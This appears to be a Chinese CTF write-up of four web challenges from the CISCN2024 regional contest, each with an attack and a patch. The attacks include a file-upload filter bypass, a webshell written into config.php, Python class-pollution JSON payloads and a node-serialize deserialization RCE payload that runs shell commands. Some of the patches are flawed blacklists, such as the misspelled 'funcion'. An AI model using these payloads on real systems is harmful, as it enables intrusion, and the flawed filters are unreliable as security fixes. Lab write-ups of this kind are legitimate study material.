记录我福师大热情的篮球场
CISCN2024 华东南赛区 前言 倒一身份进入华东南分区赛!!比赛前一天准备蛮多东西,一晚上在本地搭建ai模型,又下载一堆工具,对我来说真的蛮紧张的。不过还好超常发挥,做三道web直直直直直接打到15名。后面fix除了那道原型链污染可惜之外,其他拿源码也修不明白呜呜呜。总的来说除了比赛场地非常热之外,分区赛体验感还不错。
submit BREAK 文件上传功能
有对php字符进行检测,<=
直接绕过
访问文件上传路径,得到flag
FIX 由于题目要求是png图片,直接加个白名单检测
1 2 3 4 5 6 7 $allowedExtensions = array("png"); $extension = pathinfo($_FILES['myfile']['name'], PATHINFO_EXTENSION); // 检查文件类型是否允许上传 if (!in_array(strtolower($extension), $allowedExtensions)) { echo "只允许上传png"; exit; }
最终将upload.php替换就行,不需要重启服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php // $path = "./uploads"; error_reporting(0); $path = "./uploads"; $content = file_get_contents($_FILES['myfile']['tmp_name']); $allow_content_type = array("image/png"); $type = $_FILES["myfile"]["type"]; //修复部分 $allowedExtensions = array("png"); $extension = pathinfo($_FILES['myfile']['name'], PATHINFO_EXTENSION); // 检查文件类型是否允许上传 if (!in_array(strtolower($extension), $allowedExtensions)) { echo "只允许上传png"; exit; } // if (!in_array($type, $allow_content_type)) { die("只允许png哦!<br>"); } if (preg_match('/(php|script|xml|user|htaccess)/i', $content)) { // echo "匹配成功!"; die('鼠鼠说你的内容不符合哦0-0'); } else { $file = $path . '/' . $_FILES['myfile']['name']; echo $file; if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) { file_put_contents($file, $content); echo 'Success!<br>'; } else { echo 'Error!<br>'; } } ?> <!---->
粗心的程序员 BREAK 扫描目录存在www.zip源码泄露
随便注册一个用户登录,注意到是用户修改名字的功能
我们审一下代码
edit.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php include "default_info_auto_recovery.php" ;include "config.php" ;error_reporting (0 );session_start ();function CheckNewUser ($username ) { if (strlen ($username ) <5 || strlen ($username ) > 20 ){ return "新用户名长度必须大于等于5或者小于等于10!" ; } else { return "ok" ; } } $id = $_SESSION ['id' ];if (!$id ){ die ("NO ACCESS!" ); } $newusername = $_POST ['newusername' ];$info = CheckNewUser (base64_decode ($newusername ));if ($info != "ok" ){ echo $info ; die (); } $sql = "SELECT * FROM user WHERE username = ?" ;$stmt = $pdo ->prepare ($sql );$stmt ->bindValue (1 ,$newusername );$stmt ->execute ();$result = $stmt ->fetchAll (PDO::FETCH_ASSOC );$cont = count ($result );if ($cont ){ echo "该用户已存在!" ; die (); } $sql = "UPDATE user SET username= ? where id=?" ;$stmt = $pdo ->prepare ($sql );$stmt ->bindValue (1 ,htmlspecialchars ($newusername ,ENT_QUOTES));$stmt ->bindValue (2 ,htmlspecialchars ($id ,ENT_QUOTES));$status = $stmt ->execute ();if ($status ){ $_SESSION ['username' ] = base64_decode ($newusername ); echo "修改成功!" ; }else { echo "修改失败!" ; }
edit.php主要就是接收POST参数的新用户名,然后对数据库进行操作,最后写入session的username。不过这里有bindValue()
和htmlspecialchars()
,那么很明显不存在sql注入
我们再看看home.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <?php error_reporting (0 );include "default_info_auto_recovery.php" ;session_start ();$p = $_SERVER ["HTTP_X_FORWARDED_FOR" ]?:$_SERVER ["REMOTE_ADDR" ];if (preg_match ("/\?|php|:/i" ,$p )){ die ("" ); } $time = date ('Y-m-d h:i:s' , time ());$username = $_SESSION ['username' ];$id = $_SESSION ['id' ];if ($username && $id ){ echo "Hello," ."$username " ; $str = "//登陆时间$time ,$username $p " ; $str = str_replace ("\n" ,"" ,$str ); file_put_contents ("config.php" ,file_get_contents ("config.php" ).$str ); }else { die ("NO ACCESS" ); } ?> <br> <script type="text/javascript" src="js/jquery-1.9.0.min.js" ></script> <script type="text/javascript" src="js/jquery.base64.js" ></script> <script> function submitData ( ) { var obj = new Object (); obj.name = $('#newusername' ).val (); var str = $.base64.encode (JSON.stringify (obj.name).replace ("\"" ,"" ).replace ("\"" ,"" )); $.post ("edit.php" , { newusername : str }, function(str){ alert (str); location.reload () }); } jQuery.base64 = (function ($ ) { var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" ; function utf8Encode (string ) { return utftext; } function encode (input ) { return output; } return { encode: function (str ) { return encode (str); } }; }(jQuery)); </script> 更改用户名<input type="text" name="newusername" id="newusername" value="" > <button type="submit" onclick="submitData()" >更改</button>
注意到存在file_put_contents()
函数,往前推发现变量str就是session中的username
1 file_put_contents("config.php",file_get_contents("config.php").$str);
$str = "//登陆时间$time,$username $p";
是由三部分拼接的,并且过滤了换行\n
我们可以尝试写马,使用\r
绕过换行(这里可以不用<>
标签,直接eval)
base64编码一下就是payload
注意这里\r
不能直接用cyberchef按字符加密
我们可以将上述加密解码一下
我们在edit.php输入我们要修改的payload,然后访问home.php成功写入一句话木马到数据库
最后就是在config.php与数据库进行交互操作
1 2 3 4 5 6 7 <?php $db_host = '127.0.0.1'; $db_name = 'ctf'; $db_user = 'root'; $db_pwd = 'root'; $dsn = "mysql:host=$db_host;dbname=$db_name"; $pdo = new PDO($dsn,$db_user,$db_pwd);
访问/config?1=system('cat /f*');
即可得到flag
FIX 上述攻击手段是通过写入一句话木马到数据库
那么我们可以删掉写数据库操作即可
1 2 3 4 5 6 7 8 $time = date ('Y-m-d h:i:s' , time ());$username = $_SESSION ['username' ];$id = $_SESSION ['id' ];if ($username && $id ){ echo "Hello," ."$username " ; }else { die ("NO ACCESS" ); }
Polluted BREAK 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from flask import Flask, session, redirect, url_for,request,render_template import os import hashlib import json import re def generate_random_md5(): random_string = os.urandom(16) md5_hash = hashlib.md5(random_string) return md5_hash.hexdigest() def filter(user_input): blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string'] for pattern in blacklisted_patterns: if re.search(pattern, user_input, re.IGNORECASE): return True return False def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) app = Flask(__name__) app.secret_key = generate_random_md5() class evil(): def __init__(self): pass @app.route('/',methods=['POST']) def index(): username = request.form.get('username') password = request.form.get('password') session["username"] = username session["password"] = password Evil = evil() if request.data: if filter(str(request.data)): return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~" else: merge(json.loads(request.data), Evil) return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED" return render_template("index.html") @app.route('/admin',methods=['POST', 'GET']) def templates(): username = session.get("username", None) password = session.get("password", None) if username and password: if username == "adminer" and password == app.secret_key: return render_template("important.html", flag=open("/flag", "rt").read()) else: return "Unauthorized" else: return f'Hello, This is the POLLUTED page.' if __name__ == '__main__': app.run(host='0.0.0.0',debug=True, port=80)
存在merge函数那么考点肯定是python原型链污染
首先定义了secret_key
,使用os.urandom函数生成随机数
1 2 3 4 5 def generate_random_md5(): random_string = os.urandom(16) md5_hash = hashlib.md5(random_string) app.secret_key = generate_random_md5()
定义了黑名单
1 2 3 4 5 def filter(user_input): blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string'] for pattern in blacklisted_patterns: if re.search(pattern, user_input, re.IGNORECASE): return True
json格式数据可以用unicode编码,所以这里关键字都可以绕过
定义了evil类,初始化的作用
1 2 3 class evil(): def __init__(self): pass
/
路由下POST传参
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @app.route('/',methods=['POST']) def index(): username = request.form.get('username') password = request.form.get('password') session["username"] = username session["password"] = password Evil = evil() if request.data: if filter(str(request.data)): return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~" else: merge(json.loads(request.data), Evil) return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED" return render_template("index.html")
接收username和password,并赋值给session。然后evil初始化,对传参的值黑名单检测(unicode绕过)
如果未检测到则执行merge函数,存在原型链污染漏洞
/admin
路由如下
1 2 3 4 5 6 7 8 9 10 11 @app.route('/admin',methods=['POST', 'GET']) def templates(): username = session.get("username", None) password = session.get("password", None) if username and password: if username == "adminer" and password == app.secret_key: return render_template("important.html", flag=open("/flag", "rt").read()) else: return "Unauthorized" else: return f'Hello, This is the POLLUTED page.'
检测session中的username和password是否正确,正确则返回flag
思路
由于得到flag的条件非常苛刻,因为我们根本无法确定secret_key
的值,所以我们选择污染key,然后利用/
路由下的对session赋值,得到adminer:123456
的cookie,再拿此cookie去访问/admin
即可实现绕过
payload
1 2 3 4 5 6 7 8 9 { "__init__":{ "__globals__":{ "app":{ "secret_key":"123456" } } } }
编码一下
1 2 3 4 5 6 7 8 9 { "\u005f\u005fin\u0069t\u005f\u005f":{ "\u005f\u005fglob\u0061ls\u005f\u005f":{ "\u0061pp":{ "secret\u005fkey":"123456" } } } }
污染成功后,登录adminer:123456
拿cookie,然后访问/admin
发现没有flag,想到还有个知识点 _static_folder
是用于指定静态文件的存放路径
1 2 3 4 5 6 7 8 9 10 { "__init__":{ "__globals__":{ "app":{ "secret_key":"123456", "_static_folder":"/" } } } }
编码一下
1 2 3 4 5 6 7 8 9 10 { "\u005f\u005fin\u0069t\u005f\u005f":{ "\u005f\u005fglob\u0061ls\u005f\u005f":{ "\u0061pp":{ "secret\u005fkey":"123456", "\u005fstatic\u005ffolder":"/" } } } }
污染成功后我们直接访问静态路由10.1.180.19/static/flag
,成功拿到flag
FIX 直接添加对unicode的waf,以及读取静态路由的关键字_static_folder
原来黑名单修改一下
1 2 3 4 5 6 def filter(user_input): blacklisted_patterns = ['init', 'global', 'globals', 'env', 'app', '_', '_static_folder','\u005f', '\u0069', '\u0061', '\u004','\u0067','\u006c','\u006f','\u0062','\u0063','\u0064','\u006c','\u0073', '\u0065', '\u0066', '\u0068','\u0074','\u006d'] for pattern in blacklisted_patterns: if re.search(pattern, user_input, re.IGNORECASE): return True return False
不过一直修到最后一轮还是没成功,赛后才想到这里的\
要转义,应该是\\u0061
这样
其实也不用那么复杂
对unicode的过滤直接过滤\
就行,关键字拆开过滤
1 2 3 4 5 6 def filter(user_input): blacklisted_patterns = ['init', 'global', 'globals', 'env', 'app', '_', 'static', 'folder','\'] for pattern in blacklisted_patterns: if re.search(pattern, user_input, re.IGNORECASE): return True return False
比赛的时候只能说脑袋给烧晕了,最简单的修复都没想到
bigfish BREAK 访问admin路由的时候发现出现了set-cookie
,给了两个cookie:is_admin=false
和username
尝试修改为Cookie: is_admin=true;username=admin
成功登录
尝试路径穿越发现根本读取不到其他文件
审计一下fish.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 const express = require ('express' );const path = require ('path' );const fs = require ('fs' );const cookieParser = require ('cookie-parser' );const bodyParser = require ('body-parser' );const serialize = require ('node-serialize' );const schedule = require ('node-schedule' );process.chdir ('/srv' ); let rule1 = new schedule.RecurrenceRule ();rule1.minute = [0 , 3 , 6 , 9 , 12 , 15 , 18 , 21 , 24 , 27 , 30 , 33 , 36 , 39 , 42 , 45 , 48 , 51 , 54 , 57 ]; let job1 = schedule.scheduleJob (rule1, () => { fs.writeFile ('data.html' ,"#获取的数据信息\n" ,function (error ){ console .log ("wriet error" ) }); }); const app = express ();app.engine ('html' ,require ('express-art-template' )) app.use (express.static ('public' )); app.use (cookieParser ()); app.use (bodyParser.json ()) app.use (bodyParser.urlencoded ({extended : false })) data_path = "data.html" ; function setDefaultAdminCookies (req, res, next ) { if (!req.cookies .username ) { res.cookie ('username' , 'normal' ); } if (!req.cookies .is_admin ) { res.cookie ('is_admin' , 'false' ); } next (); } app.get ('/' , function (req, res ) { res.sendFile (path.join (__dirname, 'public/index.html' )); }); app.post ('/' ,function (req, res ){ fs.appendFile ('data.html' ,JSON .stringify (req.body )+"\n" ,function (error ){ console .log (req.body ) }); res.sendFile (path.join (__dirname, 'public/index.html' )); }); app.get ('/admin' , setDefaultAdminCookies, function (req, res ) { if (req.cookies .username !== "admin" || req.cookies .is_admin !== "true" ){ res.redirect ('login' ); }else if (req.cookies .username === "admin" && req.cookies .is_admin === "true" ){ res.render ('admin.html' ,{ datadir : data_path }); } }); app.post ('/admin' , setDefaultAdminCookies, function (req, res ) { if (req.cookies .username !== "admin" || req.cookies .is_admin !== "true" ){ res.redirect ('login' ); }else if (req.cookies .username === "admin" && req.cookies .is_admin === "true" ){ if (req.body .newname ){ data_path = req.body .newname ; res.redirect ('admin' ); }else { res.redirect ('admin' ); } } }); app.get ('/login' , function (req, res ) { res.sendFile (path.join (__dirname, 'public/login.html' )); }); app.post ('/login' , function (req, res ) { if (req.cookies .profile ){ var str = new Buffer (req.cookies .profile , 'base64' ).toString (); var obj = serialize.unserialize (str); if (obj.username ) { if (escape (obj.username ) === "admin" ) { res.send ("Hello World" ); } } }else { res.sendFile (path.join (__dirname, 'public/data' )); } }); app.get ('/qq' , function (req, res ) { if (req.cookies .username !== "admin" || req.cookies .is_admin !== "true" ){ res.redirect ('login' ); }else if (req.cookies .username === "admin" && req.cookies .is_admin === "true" ){ res.sendFile (path.join (__dirname, data_path)); } }); app.listen (80 , '0.0.0.0' );
我们注意到/login
路由
1 2 3 4 5 6 7 8 9 10 11 12 13 app.post ('/login' , function (req, res ) { if (req.cookies .profile ){ var str = new Buffer (req.cookies .profile , 'base64' ).toString (); var obj = serialize.unserialize (str); if (obj.username ) { if (escape (obj.username ) === "admin" ) { res.send ("Hello World" ); } } }else { res.sendFile (path.join (__dirname, 'public/data' )); } });
接收cookie中的profile参数,将其base64编码后进行反序列化
这里的考点就是nodejs中的serialize模块反序列化漏洞 参考文章
我们先安装此模块
1 npm install node-serialize
然后序列化(无回显直接写文件外带)
1 2 3 4 5 6 7 var y = { function(){ require('child_process').exec('cat /f* > /tmp/1.txt', function(error, stdout, stderr){ console.log(stdout) }); } } var s = require('node-serialize'); console.log("Serialized:\n" + s.serialize(y));
得到payload
1 {"function":"_$$ND_FUNC$$_function(){\r\n\t\trequire('child_process').exec('cat /f* > /tmp/1.txt', function(error, stdout, stderr){ console.log(stdout) });\r\n\t}"}
FIX 将几个关键字过滤一下就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 app.post ('/login' , function (req, res ) { if (req.cookies .profile ){ var str = new Buffer (req.cookies .profile , 'base64' ).toString (); if (str.match (/(funcion|require|exec|child_process)/ )){ res.sendFile (path.join (__dirname, 'public/data' )); }else { var obj = serialize.unserialize (str); if (obj.username ) { if (escape (obj.username ) === "admin" ) { res.send ("Hello World" ); } } } }else { res.sendFile (path.join (__dirname, 'public/data' )); } });
不过听说还有xss的洞要修
用的是22年黑盾杯的方法:https://mp.weixin.qq.com/s/F9v9-8s2_mJhlEWRICzVvg
复现xss参考:https://blog.mo60.cn/index.php/archives/487.html